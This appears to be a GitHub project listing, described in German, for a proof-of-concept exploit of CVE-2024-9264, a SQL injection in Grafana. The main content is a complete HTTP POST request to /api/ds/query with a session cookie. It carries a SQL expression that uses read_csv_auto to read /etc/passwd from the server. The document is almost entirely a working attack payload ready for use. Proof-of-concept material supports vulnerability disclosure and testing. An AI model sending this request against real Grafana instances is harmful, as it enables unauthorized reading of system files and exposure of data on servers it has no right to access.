punitdarji/grafana-cve-2024-9264Proof-of-Concept-Exploit für die SQL-Injection-Sicherheitslücke CVE-2024-9264 in Grafana, die nicht authentifiziertes Auslesen von Dateien über den Endpunkt /api/ds/query ermöglicht.
POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Cookie: grafana_session=a739fa9aeb235f2790f17de00fefe528
Content-Length: 368
{
"from": "1696154400000",
"to": "1696345200000",
"queries": [
{
"datasource": {
"name": "Expression",
"type": "__expr__",
"uid": "__expr__"
},
"expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
"hide": false,
"refId": "B",
"type": "sql",
"window": ""
}
]
}